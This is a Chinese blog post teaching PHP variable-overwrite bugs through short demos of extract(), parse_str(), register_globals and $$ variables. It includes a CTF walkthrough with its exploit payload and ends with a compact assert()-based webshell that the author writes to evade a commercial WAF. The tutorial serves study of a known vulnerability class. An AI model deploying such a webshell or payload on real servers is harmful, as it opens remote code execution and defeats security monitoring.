WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

其它

关于博客

面试

杂谈

PHP变量覆盖

网上看到挺多文章了,自己也写一篇记一下

变量覆盖顾名思义就是把变量覆盖掉(2333)

下面记录一下可以变量覆盖的函数

0x01 extract()

最常见的变量覆盖函数

1
2
3
4
5
<?php
$a=1;
extract(array("a"=>"2"));
echo $a; #2
?>

extract()参数为一个数组,键名为变量名,键值为变量值

0x02 parse_str()

1
2
3
4
5
<?php
$a=1;
parse_str("a=2");
echo $a; #2
?>

parse_str()参数为字符串,把查询字符串解析到变量中

0x03 mb_parse_str()

1
2
3
4
5
<?php
$a=1;
mb_parse_str("a=2");
echo $a; #2
?>

同上

0x04 register_globals全局变量覆盖

PHP版本要低于5.4

需要修改php.ini,在文件最后加上

register_globals=On

重启服务器即可,这样所有的变量都可以覆盖

1
2
3
<?php
echo $a;
?>

简单测试一下就行了,就不截图了

0x05 import_request_variables()

import_request_variables()函数将GET/POST/Cookie变量导入到全局作用域中

第二个参数可选,变量名的前缀,会自动加在所有被导入的变量名桌子前

1
2
3
4
5
<?php
$a_a = "1";
import_request_variables("GPC","a_");
echo $a_a;
?>

GPC代表GET/POST/COOKIE

0x06 $$变量覆盖

1
2
3
4
5
<?php
$a="b";
$b="c";
echo $$a; #c
?>

就差不多是这样,两个$可以将前面的值当作下一个变量(感觉解释的也不是很清楚,就差不多这个意思..)

网上看来看去关于变量覆盖的CTF题目不是特别多,就那么几题,就拿一个经典的来说吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$flag = "flag{123}";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST"){
die("BugsBunnyCTF is here :p…");
}
if ( !isset($_POST["flag"]) ){
die($_403);
}
foreach ($_GET as $key => $value){
$$key = $$value;
}
foreach ($_POST as $key => $value){
$$key = $value;
}
if ( $_POST["flag"] !== $flag ) {
die($_403);
} else {
echo "This is your flag : ". $flag . "\n";
die($_200);
}
?>

payload:127.0.0.1?_200=flag POST:flag=

第一个判断必须要使用POST,不然就退出

第二个判断POST变量一定要有flag参数,不然也退出,然后开始循环

第一个foreach循环GET请求得到的数组,在$$key = $$value出现了变量覆盖

这时如果GET请求为_200=flag,实际在里面是

1
2
$$key = $$value
$_200 = $flag

把flag的值赋值到$_200中

第二个foreach循环POST请求得到数组,这里只有$key可以变量覆盖

如果POST参数为flag=1,得到

1
2
$$key = $value
$flag = 1

把flag变量覆盖了,所以下一个判断一定是相等的

这时候$_200里面的值已经是flag了,所以输出$_200可以得到flag

0x07 webshell

最后用学到的变量覆盖写一个过长亭的webshell

1
2
3
4
5
6
7
<?php
$b='aaa';
$c=$_POST['pass'];
parse_str("b=".$c);
$a = 'assert';
$a($b);
?>